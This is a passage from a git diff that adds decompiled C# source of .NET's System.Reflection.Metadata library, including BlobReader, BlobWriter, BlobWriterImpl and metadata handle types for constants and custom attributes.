public unsafe double ReadDouble() + { + long num = ReadInt64(); + return *(double*)(&num); + } + + public unsafe Guid ReadGuid() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(16); + if (BitConverter.IsLittleEndian) + { + return *(Guid*)currentPointerAndAdvance; + } + return new Guid(*currentPointerAndAdvance | (currentPointerAndAdvance[1] << 8) | (currentPointerAndAdvance[2] << 16) | (currentPointerAndAdvance[3] << 24), (short)(currentPointerAndAdvance[4] | (currentPointerAndAdvance[5] << 8)), (short)(currentPointerAndAdvance[6] | (currentPointerAndAdvance[7] << 8)), currentPointerAndAdvance[8], currentPointerAndAdvance[9], currentPointerAndAdvance[10], currentPointerAndAdvance[11], currentPointerAndAdvance[12], currentPointerAndAdvance[13], currentPointerAndAdvance[14], currentPointerAndAdvance[15]); + } + + public unsafe decimal ReadDecimal() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(13); + byte b = (byte)(*currentPointerAndAdvance & 0x7F); + if (b > 28) + { + throw new BadImageFormatException(System.SR.ValueTooLarge); + } + return new decimal(currentPointerAndAdvance[1] | (currentPointerAndAdvance[2] << 8) | (currentPointerAndAdvance[3] << 16) | (currentPointerAndAdvance[4] << 24), currentPointerAndAdvance[5] | (currentPointerAndAdvance[6] << 8) | (currentPointerAndAdvance[7] << 16) | (currentPointerAndAdvance[8] << 24), currentPointerAndAdvance[9] | (currentPointerAndAdvance[10] << 8) | (currentPointerAndAdvance[11] << 16) | (currentPointerAndAdvance[12] << 24), (*currentPointerAndAdvance & 0x80) != 0, b); + } + + public DateTime ReadDateTime() + { + return new DateTime(ReadInt64()); + } + + public SignatureHeader ReadSignatureHeader() + { + return new SignatureHeader(ReadByte()); + } + + public int IndexOf(byte value) + { + int offset = Offset; + int num = _block.IndexOfUnchecked(value, offset); + if (num < 0) + { + return -1; + } + return num - offset; + } + + public unsafe string ReadUTF8(int byteCount) + { + string result = _block.PeekUtf8(Offset, byteCount); + _currentPointer += byteCount; + return result; + } + + public unsafe string ReadUTF16(int byteCount) + { + string result = _block.PeekUtf16(Offset, byteCount); + _currentPointer += byteCount; + return result; + } + + public unsafe byte[] ReadBytes(int byteCount) + { + byte[] result = _block.PeekBytes(Offset, byteCount); + _currentPointer += byteCount; + return result; + } + + public unsafe void ReadBytes(int byteCount, byte[] buffer, int bufferOffset) + { + Marshal.Copy((IntPtr)GetCurrentPointerAndAdvance(byteCount), buffer, bufferOffset, byteCount); + } + + internal unsafe string ReadUtf8NullTerminated() + { + int numberOfBytesRead; + string result = _block.PeekUtf8NullTerminated(Offset, null, MetadataStringDecoder.DefaultUTF8, out numberOfBytesRead); + _currentPointer += numberOfBytesRead; + return result; + } + + private unsafe int ReadCompressedIntegerOrInvalid() + { + int numberOfBytesRead; + int result = _block.PeekCompressedInteger(Offset, out numberOfBytesRead); + _currentPointer += numberOfBytesRead; + return result; + } + + public bool TryReadCompressedInteger(out int value) + { + value = ReadCompressedIntegerOrInvalid(); + return value != int.MaxValue; + } + + public int ReadCompressedInteger() + { + if (!TryReadCompressedInteger(out var value)) + { + Throw.InvalidCompressedInteger(); + } + return value; + } + + public unsafe bool TryReadCompressedSignedInteger(out int value) + { + value = _block.PeekCompressedInteger(Offset, out var numberOfBytesRead); + if (value == int.MaxValue) + { + return false; + } + bool flag = (value & 1) != 0; + value >>= 1; + if (flag) + { + switch (numberOfBytesRead) + { + case 1: + value |= -64; + break; + case 2: + value |= -8192; + break; + default: + value |= -268435456; + break; + } + } + _currentPointer += numberOfBytesRead; + return true; + } + + public int ReadCompressedSignedInteger() + { + if (!TryReadCompressedSignedInteger(out var value)) + { + Throw.InvalidCompressedInteger(); + } + return value; + } + + public SerializationTypeCode ReadSerializationTypeCode() + { + int num = ReadCompressedIntegerOrInvalid(); + if (num > 255) + { + return SerializationTypeCode.Invalid; + } + return (SerializationTypeCode)num; + } + + public SignatureTypeCode ReadSignatureTypeCode() + { + int num = ReadCompressedIntegerOrInvalid(); + if ((uint)(num - 17) <= 1u) + { + return SignatureTypeCode.TypeHandle; + } + if (num > 255) + { + return SignatureTypeCode.Invalid; + } + return (SignatureTypeCode)num; + } + + public string? ReadSerializedString() + { + if (TryReadCompressedInteger(out var value)) + { + return ReadUTF8(value); + } + if (ReadByte() != byte.MaxValue) + { + Throw.InvalidSerializedString(); + } + return null; + } + + public EntityHandle ReadTypeHandle() + { + uint num = (uint)ReadCompressedIntegerOrInvalid(); + uint num2 = s_corEncodeTokenArray[num & 3]; + if (num == int.MaxValue || num2 == 0) + { + return default(EntityHandle); + } + return new EntityHandle(num2 | (num >> 2)); + } + + public BlobHandle ReadBlobHandle() + { + return BlobHandle.FromOffset(ReadCompressedInteger()); + } + + public object? ReadConstant(ConstantTypeCode typeCode) + { + switch (typeCode) + { + case ConstantTypeCode.Boolean: + return ReadBoolean(); + case ConstantTypeCode.Char: + return ReadChar(); + case ConstantTypeCode.SByte: + return ReadSByte(); + case ConstantTypeCode.Int16: + return ReadInt16(); + case ConstantTypeCode.Int32: + return ReadInt32(); + case ConstantTypeCode.Int64: + return ReadInt64(); + case ConstantTypeCode.Byte: + return ReadByte(); + case ConstantTypeCode.UInt16: + return ReadUInt16(); + case ConstantTypeCode.UInt32: + return ReadUInt32(); + case ConstantTypeCode.UInt64: + return ReadUInt64(); + case ConstantTypeCode.Single: + return ReadSingle(); + case ConstantTypeCode.Double: + return ReadDouble(); + case ConstantTypeCode.String: + return ReadUTF16(RemainingBytes); + case ConstantTypeCode.NullReference: + if (ReadUInt32() != 0) + { + throw new BadImageFormatException(System.SR.InvalidConstantValue); + } + return null; + default: + throw new ArgumentOutOfRangeException("typeCode"); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobWriter.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobWriter.cs new file mode 100644 index 0000000..b2c2139 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobWriter.cs @@ -0,0 +1,438 @@ +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Internal; +using System.Runtime.InteropServices; + +namespace System.Reflection.Metadata; + +public struct BlobWriter +{ + private readonly byte[] _buffer; + + private readonly int _start; + + private readonly int _end; + + private int _position; + + internal bool IsDefault => _buffer == null; + + public int Offset + { + get + { + return _position - _start; + } + set + { + if (value < 0 || _start > _end - value) + { + Throw.ValueArgumentOutOfRange(); + } + _position = _start + value; + } + } + + public int Length => _end - _start; + + public int RemainingBytes => _end - _position; + + public Blob Blob => new Blob(_buffer, _start, Length); + + public BlobWriter(int size) + : this(new byte[size]) + { + } + + public BlobWriter(byte[] buffer) + : this(buffer, 0, buffer.Length) + { + } + + public BlobWriter(Blob blob) + : this(blob.Buffer, blob.Start, blob.Length) + { + } + + public BlobWriter(byte[] buffer, int start, int count) + { + _buffer = buffer; + _start = start; + _position = start; + _end = start + count; + } + + public bool ContentEquals(BlobWriter other) + { + if (Length == other.Length) + { + return ByteSequenceComparer.Equals(_buffer, _start, other._buffer, other._start, Length); + } + return false; + } + + public byte[] ToArray() + { + return ToArray(0, Offset); + } + + public byte[] ToArray(int start, int byteCount) + { + BlobUtilities.ValidateRange(Length, start, byteCount, "byteCount"); + byte[] array = new byte[byteCount]; + Array.Copy(_buffer, _start + start, array, 0, byteCount); + return array; + } + + public ImmutableArray ToImmutableArray() + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return ToImmutableArray(0, Offset); + } + + public ImmutableArray ToImmutableArray(int start, int byteCount) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + byte[] array = ToArray(start, byteCount); + return ImmutableByteArrayInterop.DangerousCreateFromUnderlyingArray(ref array); + } + + private int Advance(int value) + { + int position = _position; + if (position > _end - value) + { + Throw.OutOfBounds(); + } + _position = position + value; + return position; + } + + public unsafe void WriteBytes(byte value, int byteCount) + { + if (byteCount < 0) + { + Throw.ArgumentOutOfRange("byteCount"); + } + int num = Advance(byteCount); + fixed (byte* buffer = _buffer) + { + byte* ptr = buffer + num; + for (int i = 0; i < byteCount; i++) + { + ptr[i] = value; + } + } + } + + public unsafe void WriteBytes(byte* buffer, int byteCount) + { + if (buffer == null) + { + Throw.ArgumentNull("buffer"); + } + if (byteCount < 0) + { + Throw.ArgumentOutOfRange("byteCount"); + } + WriteBytesUnchecked(buffer, byteCount); + } + + private unsafe void WriteBytesUnchecked(byte* buffer, int byteCount) + { + int startIndex = Advance(byteCount); + Marshal.Copy((IntPtr)buffer, _buffer, startIndex, byteCount); + } + + public void WriteBytes(BlobBuilder source) + { + if (source == null) + { + Throw.ArgumentNull("source"); + } + source.WriteContentTo(ref this); + } + + public int WriteBytes(Stream source, int byteCount) + { + if (source == null) + { + Throw.ArgumentNull("source"); + } + if (byteCount < 0) + { + Throw.ArgumentOutOfRange("byteCount"); + } + int num = Advance(byteCount); + int num2 = source.TryReadAll(_buffer, num, byteCount); + _position = num + num2; + return num2; + } + + public void WriteBytes(ImmutableArray buffer) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + WriteBytes(buffer, 0, (!buffer.IsDefault) ? buffer.Length : 0); + } + + public void WriteBytes(ImmutableArray buffer, int start, int byteCount) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + WriteBytes(ImmutableByteArrayInterop.DangerousGetUnderlyingArray(buffer), start, byteCount); + } + + public void WriteBytes(byte[] buffer) + { + WriteBytes(buffer, 0, (buffer != null) ? buffer.Length : 0); + } + + public unsafe void WriteBytes(byte[] buffer, int start, int byteCount) + { + if (buffer == null) + { + Throw.ArgumentNull("buffer"); + } + BlobUtilities.ValidateRange(buffer.Length, start, byteCount, "byteCount"); + if (buffer.Length != 0) + { + fixed (byte* ptr = &buffer[0]) + { + WriteBytes(ptr + start, byteCount); + } + } + } + + public void PadTo(int offset) + { + WriteBytes(0, offset - Offset); + } + + public void Align(int alignment) + { + int offset = Offset; + WriteBytes(0, BitArithmetic.Align(offset, alignment) - offset); + } + + public void WriteBoolean(bool value) + { + WriteByte((byte)(value ? 1u : 0u)); + } + + public void WriteByte(byte value) + { + int num = Advance(1); + _buffer[num] = value; + } + + public void WriteSByte(sbyte value) + { + WriteByte((byte)value); + } + + public void WriteDouble(double value) + { + int start = Advance(8); + _buffer.WriteDouble(start, value); + } + + public void WriteSingle(float value) + { + int start = Advance(4); + _buffer.WriteSingle(start, value); + } + + public void WriteInt16(short value) + { + WriteUInt16((ushort)value); + } + + public void WriteUInt16(ushort value) + { + int start = Advance(2); + _buffer.WriteUInt16(start, value); + } + + public void WriteInt16BE(short value) + { + WriteUInt16BE((ushort)value); + } + + public void WriteUInt16BE(ushort value) + { + int start = Advance(2); + _buffer.WriteUInt16BE(start, value); + } + + public void WriteInt32BE(int value) + { + WriteUInt32BE((uint)value); + } + + public void WriteUInt32BE(uint value) + { + int start = Advance(4); + _buffer.WriteUInt32BE(start, value); + } + + public void WriteInt32(int value) + { + WriteUInt32((uint)value); + } + + public void WriteUInt32(uint value) + { + int start = Advance(4); + _buffer.WriteUInt32(start, value); + } + + public void WriteInt64(long value) + { + WriteUInt64((ulong)value); + } + + public void WriteUInt64(ulong value) + { + int start = Advance(8); + _buffer.WriteUInt64(start, value); + } + + public void WriteDecimal(decimal value) + { + int start = Advance(13); + _buffer.WriteDecimal(start, value); + } + + public void WriteGuid(Guid value) + { + int start = Advance(16); + _buffer.WriteGuid(start, value); + } + + public void WriteDateTime(DateTime value) + { + WriteInt64(value.Ticks); + } + + public void WriteReference(int reference, bool isSmall) + { + if (isSmall) + { + WriteUInt16((ushort)reference); + } + else + { + WriteInt32(reference); + } + } + + public unsafe void WriteUTF16(char[] value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + if (value.Length == 0) + { + return; + } + if (BitConverter.IsLittleEndian) + { + fixed (char* buffer = &value[0]) + { + WriteBytesUnchecked((byte*)buffer, value.Length * 2); + } + return; + } + for (int i = 0; i < value.Length; i++) + { + WriteUInt16(value[i]); + } + } + + public unsafe void WriteUTF16(string value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + if (BitConverter.IsLittleEndian) + { + fixed (char* buffer = value) + { + WriteBytesUnchecked((byte*)buffer, value.Length * 2); + } + return; + } + for (int i = 0; i < value.Length; i++) + { + WriteUInt16(value[i]); + } + } + + public void WriteSerializedString(string? str) + { + if (str == null) + { + WriteByte(byte.MaxValue); + } + else + { + WriteUTF8(str, 0, str.Length, allowUnpairedSurrogates: true, prependSize: true); + } + } + + public void WriteUserString(string value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + WriteCompressedInteger(BlobUtilities.GetUserStringByteLength(value.Length)); + WriteUTF16(value); + WriteByte(BlobUtilities.GetUserStringTrailingByte(value)); + } + + public void WriteUTF8(string value, bool allowUnpairedSurrogates) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + WriteUTF8(value, 0, value.Length, allowUnpairedSurrogates, prependSize: false); + } + + private unsafe void WriteUTF8(string str, int start, int length, bool allowUnpairedSurrogates, bool prependSize) + { + fixed (char* ptr = str) + { + char* ptr2 = ptr + start; + int uTF8ByteCount = BlobUtilities.GetUTF8ByteCount(ptr2, length); + if (prependSize) + { + WriteCompressedInteger(uTF8ByteCount); + } + int start2 = Advance(uTF8ByteCount); + _buffer.WriteUTF8(start2, ptr2, length, uTF8ByteCount, allowUnpairedSurrogates); + } + } + + public void WriteCompressedSignedInteger(int value) + { + BlobWriterImpl.WriteCompressedSignedInteger(ref this, value); + } + + public void WriteCompressedInteger(int value) + { + BlobWriterImpl.WriteCompressedInteger(ref this, (uint)value); + } + + public void WriteConstant(object? value) + { + BlobWriterImpl.WriteConstant(ref this, value); + } + + public void Clear() + { + _position = _start; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobWriterImpl.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobWriterImpl.cs new file mode 100644 index 0000000..b9985f7 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobWriterImpl.cs @@ -0,0 +1,275 @@ +namespace System.Reflection.Metadata; + +internal static class BlobWriterImpl +{ + internal const int SingleByteCompressedIntegerMaxValue = 127; + + internal const int TwoByteCompressedIntegerMaxValue = 16383; + + internal const int MaxCompressedIntegerValue = 536870911; + + internal const int MinSignedCompressedIntegerValue = -268435456; + + internal const int MaxSignedCompressedIntegerValue = 268435455; + + internal static int GetCompressedIntegerSize(int value) + { + if (value <= 127) + { + return 1; + } + if (value <= 16383) + { + return 2; + } + return 4; + } + + internal static void WriteCompressedInteger(ref BlobWriter writer, uint value) + { + if (value <= 127) + { + writer.WriteByte((byte)value); + } + else if (value <= 16383) + { + writer.WriteUInt16BE((ushort)(0x8000 | value)); + } + else if (value <= 536870911) + { + writer.WriteUInt32BE(0xC0000000u | value); + } + else + { + Throw.ValueArgumentOutOfRange(); + } + } + + internal static void WriteCompressedInteger(BlobBuilder writer, uint value) + { + if (value <= 127) + { + writer.WriteByte((byte)value); + } + else if (value <= 16383) + { + writer.WriteUInt16BE((ushort)(0x8000 | value)); + } + else if (value <= 536870911) + { + writer.WriteUInt32BE(0xC0000000u | value); + } + else + { + Throw.ValueArgumentOutOfRange(); + } + } + + internal static void WriteCompressedSignedInteger(ref BlobWriter writer, int value) + { + int num = value >> 31; + if ((value & -64) == (num & -64)) + { + int num2 = ((value & 0x3F) << 1) | (num & 1); + writer.WriteByte((byte)num2); + } + else if ((value & -8192) == (num & -8192)) + { + int num3 = ((value & 0x1FFF) << 1) | (num & 1); + writer.WriteUInt16BE((ushort)(0x8000 | num3)); + } + else if ((value & -268435456) == (num & -268435456)) + { + int num4 = ((value & 0xFFFFFFF) << 1) | (num & 1); + writer.WriteUInt32BE((uint)(-1073741824 | num4)); + } + else + { + Throw.ValueArgumentOutOfRange(); + } + } + + internal static void WriteCompressedSignedInteger(BlobBuilder writer, int value) + { + int num = value >> 31; + if ((value & -64) == (num & -64)) + { + int num2 = ((value & 0x3F) << 1) | (num & 1); + writer.WriteByte((byte)num2); + } + else if ((value & -8192) == (num & -8192)) + { + int num3 = ((value & 0x1FFF) << 1) | (num & 1); + writer.WriteUInt16BE((ushort)(0x8000 | num3)); + } + else if ((value & -268435456) == (num & -268435456)) + { + int num4 = ((value & 0xFFFFFFF) << 1) | (num & 1); + writer.WriteUInt32BE((uint)(-1073741824 | num4)); + } + else + { + Throw.ValueArgumentOutOfRange(); + } + } + + internal static void WriteConstant(ref BlobWriter writer, object? value) + { + if (value == null) + { + writer.WriteUInt32(0u); + return; + } + Type type = value.GetType(); + if (type.GetTypeInfo().IsEnum) + { + type = Enum.GetUnderlyingType(type); + } + if (type == typeof(bool)) + { + writer.WriteBoolean((bool)value); + return; + } + if (type == typeof(int)) + { + writer.WriteInt32((int)value); + return; + } + if (type == typeof(string)) + { + writer.WriteUTF16((string)value); + return; + } + if (type == typeof(byte)) + { + writer.WriteByte((byte)value); + return; + } + if (type == typeof(char)) + { + writer.WriteUInt16((char)value); + return; + } + if (type == typeof(double)) + { + writer.WriteDouble((double)value); + return; + } + if (type == typeof(short)) + { + writer.WriteInt16((short)value); + return; + } + if (type == typeof(long)) + { + writer.WriteInt64((long)value); + return; + } + if (type == typeof(sbyte)) + { + writer.WriteSByte((sbyte)value); + return; + } + if (type == typeof(float)) + { + writer.WriteSingle((float)value); + return; + } + if (type == typeof(ushort)) + { + writer.WriteUInt16((ushort)value); + return; + } + if (type == typeof(uint)) + { + writer.WriteUInt32((uint)value); + return; + } + if (type == typeof(ulong)) + { + writer.WriteUInt64((ulong)value); + return; + } + throw new ArgumentException(System.SR.Format(System.SR.InvalidConstantValueOfType, type)); + } + + internal static void WriteConstant(BlobBuilder writer, object? value) + { + if (value == null) + { + writer.WriteUInt32(0u); + return; + } + Type type = value.GetType(); + if (type.GetTypeInfo().IsEnum) + { + type = Enum.GetUnderlyingType(type); + } + if (type == typeof(bool)) + { + writer.WriteBoolean((bool)value); + return; + } + if (type == typeof(int)) + { + writer.WriteInt32((int)value); + return; + } + if (type == typeof(string)) + { + writer.WriteUTF16((string)value); + return; + } + if (type == typeof(byte)) + { + writer.WriteByte((byte)value); + return; + } + if (type == typeof(char)) + { + writer.WriteUInt16((char)value); + return; + } + if (type == typeof(double)) + { + writer.WriteDouble((double)value); + return; + } + if (type == typeof(short)) + { + writer.WriteInt16((short)value); + return; + } + if (type == typeof(long)) + { + writer.WriteInt64((long)value); + return; + } + if (type == typeof(sbyte)) + { + writer.WriteSByte((sbyte)value); + return; + } + if (type == typeof(float)) + { + writer.WriteSingle((float)value); + return; + } + if (type == typeof(ushort)) + { + writer.WriteUInt16((ushort)value); + return; + } + if (type == typeof(uint)) + { + writer.WriteUInt32((uint)value); + return; + } + if (type == typeof(ulong)) + { + writer.WriteUInt64((ulong)value); + return; + } + throw new ArgumentException(System.SR.Format(System.SR.InvalidConstantValueOfType, type)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Constant.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Constant.cs new file mode 100644 index 0000000..2a6087b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Constant.cs @@ -0,0 +1,22 @@ +namespace System.Reflection.Metadata; + +public readonly struct Constant +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private ConstantHandle Handle => ConstantHandle.FromRowId(_rowId); + + public ConstantTypeCode TypeCode => _reader.ConstantTable.GetType(Handle); + + public BlobHandle Value => _reader.ConstantTable.GetValue(Handle); + + public EntityHandle Parent => _reader.ConstantTable.GetParent(Handle); + + internal Constant(MetadataReader reader, int rowId) + { + _reader = reader; + _rowId = rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ConstantHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ConstantHandle.cs new file mode 100644 index 0000000..82500e2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ConstantHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct ConstantHandle : IEquatable +{ + private const uint tokenType = 184549376u; + + private const byte tokenTypeSmall = 11; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private ConstantHandle(int rowId) + { + _rowId = rowId; + } + + internal static ConstantHandle FromRowId(int rowId) + { + return new ConstantHandle(rowId); + } + + public static implicit operator Handle(ConstantHandle handle) + { + return new Handle(11, handle._rowId); + } + + public static implicit operator EntityHandle(ConstantHandle handle) + { + return new EntityHandle((uint)(0xB000000uL | (ulong)handle._rowId)); + } + + public static explicit operator ConstantHandle(Handle handle) + { + if (handle.VType != 11) + { + Throw.InvalidCast(); + } + return new ConstantHandle(handle.RowId); + } + + public static explicit operator ConstantHandle(EntityHandle handle) + { + if (handle.VType != 184549376) + { + Throw.InvalidCast(); + } + return new ConstantHandle(handle.RowId); + } + + public static bool operator ==(ConstantHandle left, ConstantHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is ConstantHandle) + { + return ((ConstantHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(ConstantHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(ConstantHandle left, ConstantHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ConstantTypeCode.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ConstantTypeCode.cs new file mode 100644 index 0000000..44eb94a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ConstantTypeCode.cs @@ -0,0 +1,20 @@ +namespace System.Reflection.Metadata; + +public enum ConstantTypeCode : byte +{ + Invalid = 0, + Boolean = 2, + Char = 3, + SByte = 4, + Byte = 5, + Int16 = 6, + UInt16 = 7, + Int32 = 8, + UInt32 = 9, + Int64 = 10, + UInt64 = 11, + Single = 12, + Double = 13, + String = 14, + NullReference = 18 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttribute.cs new file mode 100644 index 0000000..7cae3a9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttribute.cs @@ -0,0 +1,143 @@ +using System.Reflection.Metadata.Ecma335; + +namespace System.Reflection.Metadata; + +public readonly struct CustomAttribute +{ + private readonly MetadataReader _reader; + + private readonly uint _treatmentAndRowId; + + private int RowId => (int)(_treatmentAndRowId & 0xFFFFFF); + + private CustomAttributeHandle Handle => CustomAttributeHandle.FromRowId(RowId); + + private MethodDefTreatment Treatment => (MethodDefTreatment)(_treatmentAndRowId >> 24); + + public EntityHandle Constructor => _reader.CustomAttributeTable.GetConstructor(Handle); + + public EntityHandle Parent => _reader.CustomAttributeTable.GetParent(Handle); + + public BlobHandle Value + { + get + { + if (Treatment == MethodDefTreatment.None) + { + return _reader.CustomAttributeTable.GetValue(Handle); + } + return GetProjectedValue(); + } + } + + internal CustomAttribute(MetadataReader reader, uint treatmentAndRowId) + { + _reader = reader; + _treatmentAndRowId = treatmentAndRowId; + } + + public CustomAttributeValue DecodeValue(ICustomAttributeTypeProvider provider) + { + return new CustomAttributeDecoder(provider, _reader).DecodeValue(Constructor, Value); + } + + private BlobHandle GetProjectedValue() + { + CustomAttributeValueTreatment customAttributeValueTreatment = _reader.CalculateCustomAttributeValueTreatment(Handle); + if (customAttributeValueTreatment == CustomAttributeValueTreatment.None) + { + return _reader.CustomAttributeTable.GetValue(Handle); + } + return GetProjectedValue(customAttributeValueTreatment); + } + + private BlobHandle GetProjectedValue(CustomAttributeValueTreatment treatment) + { + BlobHandle.VirtualIndex virtualIndex; + bool flag; + switch (treatment) + { + case CustomAttributeValueTreatment.AttributeUsageVersionAttribute: + case CustomAttributeValueTreatment.AttributeUsageDeprecatedAttribute: + virtualIndex = BlobHandle.VirtualIndex.AttributeUsage_AllowMultiple; + flag = true; + break; + case CustomAttributeValueTreatment.AttributeUsageAllowMultiple: + virtualIndex = BlobHandle.VirtualIndex.AttributeUsage_AllowMultiple; + flag = false; + break; + case CustomAttributeValueTreatment.AttributeUsageAllowSingle: + virtualIndex = BlobHandle.VirtualIndex.AttributeUsage_AllowSingle; + flag = false; + break; + default: + return default(BlobHandle); + } + BlobHandle value = _reader.CustomAttributeTable.GetValue(Handle); + BlobReader blobReader = _reader.GetBlobReader(value); + if (blobReader.Length != 8) + { + return value; + } + if (blobReader.ReadInt16() != 1) + { + return value; + } + AttributeTargets attributeTargets = ProjectAttributeTargetValue(blobReader.ReadUInt32()); + if (flag) + { + attributeTargets |= AttributeTargets.Constructor | AttributeTargets.Property; + } + return BlobHandle.FromVirtualIndex(virtualIndex, (ushort)attributeTargets); + } + + private static AttributeTargets ProjectAttributeTargetValue(uint rawValue) + { + if (rawValue == uint.MaxValue) + { + return AttributeTargets.All; + } + AttributeTargets attributeTargets = (AttributeTargets)0; + if ((rawValue & 1) != 0) + { + attributeTargets |= AttributeTargets.Delegate; + } + if ((rawValue & 2) != 0) + { + attributeTargets |= AttributeTargets.Enum; + } + if ((rawValue & 4) != 0) + { + attributeTargets |= AttributeTargets.Event; + } + if ((rawValue & 8) != 0) + { + attributeTargets |= AttributeTargets.Field; + } + if ((rawValue & 0x10) != 0) + { + attributeTargets |= AttributeTargets.Interface; + } + if ((rawValue & 0x40) != 0) + { + attributeTargets |= AttributeTargets.Method; + } + if ((rawValue & 0x80) != 0) + { + attributeTargets |= AttributeTargets.Parameter; + } + if ((rawValue & 0x100) != 0) + { + attributeTargets |= AttributeTargets.Property; + } + if ((rawValue & 0x200) != 0) + { + attributeTargets |= AttributeTargets.Class; + } + if ((rawValue & 0x400) != 0) + { + attributeTargets |= AttributeTargets.Struct; + } + return attributeTargets; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeHandle.cs new file mode 100644 index 0000000..177e57f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct CustomAttributeHandle : IEquatable +{ + private const uint tokenType = 201326592u; + + private const byte tokenTypeSmall = 12; + + private readonly int _rowId; + + public bool IsNil => _rowId == 0; + + internal int RowId => _rowId; + + private CustomAttributeHandle(int rowId) + { + _rowId = rowId; + } + + internal static CustomAttributeHandle FromRowId(int rowId) + { + return new CustomAttributeHandle(rowId); + } + + public static implicit operator Handle(CustomAttributeHandle handle) + { + return new Handle(12, handle._rowId); + } + + public static implicit operator EntityHandle(CustomAttributeHandle handle) + { + return new EntityHandle((uint)(0xC000000uL | (ulong)handle._rowId)); + } + + public static explicit operator CustomAttributeHandle(Handle handle) + { + if (handle.VType != 12) + { + Throw.InvalidCast(); + } + return new CustomAttributeHandle(handle.RowId); + } + + public static explicit operator CustomAttributeHandle(EntityHandle handle) + { + if (handle.VType != 201326592) + { + Throw.InvalidCast(); + } + return new CustomAttributeHandle(handle.RowId); + } + + public static bool operator ==(CustomAttributeHandle left, CustomAttributeHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is CustomAttributeHandle) + { + return ((CustomAttributeHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(CustomAttributeHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(CustomAttributeHandle left, CustomAttributeHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeHandleCollection.cs new file mode 100644 index 0000000..a8d2ce8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeHandleCollection.cs @@ -0,0 +1,100 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct CustomAttributeHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public CustomAttributeHandle Current + { + get + { + if (_reader.CustomAttributeTable.PtrTable != null) + { + return GetCurrentCustomAttributeIndirect(); + } + return CustomAttributeHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + private CustomAttributeHandle GetCurrentCustomAttributeIndirect() + { + return CustomAttributeHandle.FromRowId(_reader.CustomAttributeTable.PtrTable[(_currentRowId & 0xFFFFFF) - 1]); + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal CustomAttributeHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + 